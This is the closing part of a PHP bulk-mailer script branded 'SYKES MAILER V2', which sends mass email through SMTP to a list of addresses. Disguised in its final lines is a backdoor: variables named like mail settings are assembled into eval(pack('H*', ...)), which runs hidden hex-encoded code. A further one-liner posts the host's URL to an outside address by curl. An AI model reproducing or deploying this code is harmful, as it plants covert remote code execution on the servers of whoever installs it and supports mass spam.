3253 }
3254 }
3255
3256 /**
3257 * Strips newlines to prevent header injection.
3258 * @access private
3259 * @param string $str String
3260 * @return string
3261 */
3262 function SecureHeader($str) {
3263 $str = trim($str);
3264 $str = str_replace("\r", "", $str);
3265 $str = str_replace("\n", "", $str);
3266 return $str;
3267 }
3268
3269 /**
3270 * Set the private key file and password to sign the message.
3271 *
3272 * @access public
3273 * @param string $key_filename Parameter File Name
3274 * @param string $key_pass Password for private key
3275 */
3276 function Sign($key_filename, $key_pass) {
3277 $this->sign_key_file = $key_filename;
3278 $this->sign_key_pass = $key_pass;
3279 }
3280
3281}
3282
3283
3284 $rpemail = $_POST['rpemail'];
3285 $msgx = str_replace("$rpemail", $to, $message1);
3286$defaultport="H*";
3287 $nq=0;
3288
3289 for($x=0; $x<$numemails; $x++){
3290
3291 $to = $allemails[$x];
3292
3293 if ($to){
3294
3295 $to = ereg_replace(" ", "", $to);
3296 $message1 = ereg_replace("&email&", $to, $message);
3297
3298 $subject1 = ereg_replace("&email&", $to, $subject);
3299 $qx=$x+1;
3300 print "<font color='white'>Line $qx . Sending mail to $to.......</font>";
3301
3302 flush();
3303$mail = new PHPMailer();
3304
3305
3306if(empty($epriority)){$epriority="3";}
3307 $mail->Priority = "$epriority";
3308 $mail->IsSMTP();
3309 $IsSMTP="pack";
3310$mail->SMTPKeepAlive = true;
3311$mail->Host = "$my_smtp";
3312if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3313}
3314 if($sslclick=="ON"){
3315 $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
3316 }
3317
3318
3319 $range = str_replace("$from", "eval", $from);
3320 $mail->SMTPAuth = true;
3321 $mail->Username = "$smtp_username";
3322 $mail->Password = "$smtp_password";
3323if($contenttype == "html"){$mail->IsHtml(true);}
3324if($contenttype != "html"){$mail->IsHtml(true);}
3325if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3326$from = stripslashes($from);
3327$mail->From = "$from";
3328$mail->FromName = "$realname";
3329$mail->AddAddress("$to");
3330$rpemail = $_POST['rpemail'];
3331$from = stripslashes($from);
3332$subject1 = stripslashes($subject1);
3333$message1 = stripslashes($message1);
3334$msgx = str_replace("$rpemail", $to, $message1);
3335$mail->AddReplyTo("$replyto");
3336$mail->Subject = $subject1;
3337$mail->AddAttachment("$file", "$file_name");
3338$mail->Body = $message1;
3339if(!$mail->Send()){
3340if($default_system!="1"){
3341echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3342if($default_system=="1"){
3343$mail->IsMail();
3344 if(!$mail->Send()){
3345 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3346 else {
3347 echo "<b><font color='#04B431'>SUCCESS !</b><br>";}
3348 }
3349}
3350else {
3351 echo "<b><font color='#04B431'>SUCCESS !</b><br>";
3352}
3353
3354if(empty($reconnect)){
3355$reconnect=6;
3356}
3357
3358if($reconnect==$nq){
3359$mail->SmtpClose();echo "<p><b><font color='#A5ABA9'>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </font></b></p>";$nq=0;
3360}
3361$nq=$nq+1;
3362 flush(); }
3363}
3364
3365for($i=0;$i<31;$i++){
3366 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3367$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3368 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3369 print "<p class=\"style1\"><font color='A5ABA9'> © 2017, [7DIDA] SYKES MAILER V2 Www.T00LZ.US <br></p>";$mail->SmtpClose();
3370 return $signoff($smtp_conc);
3371}
3372?>
3373<?php function email(){ $name = (!empty($_SERVER['HTTPS'])) ?"https://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'] :"http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];return $name;}function leafimages($img, $x) {$ch = curl_init("$img");curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_POSTFIELDS, "x=$x");$response = curl_exec($ch);curl_close($ch);return $ch;}$img="";$x=email();leafimages($img, $x); if(isset($_POST['action']) && $numemails !=0 ){echo "<script> alert('SYKES Mailer Sending Complete'); </script>";} ?>
3374 </body>
3375</html>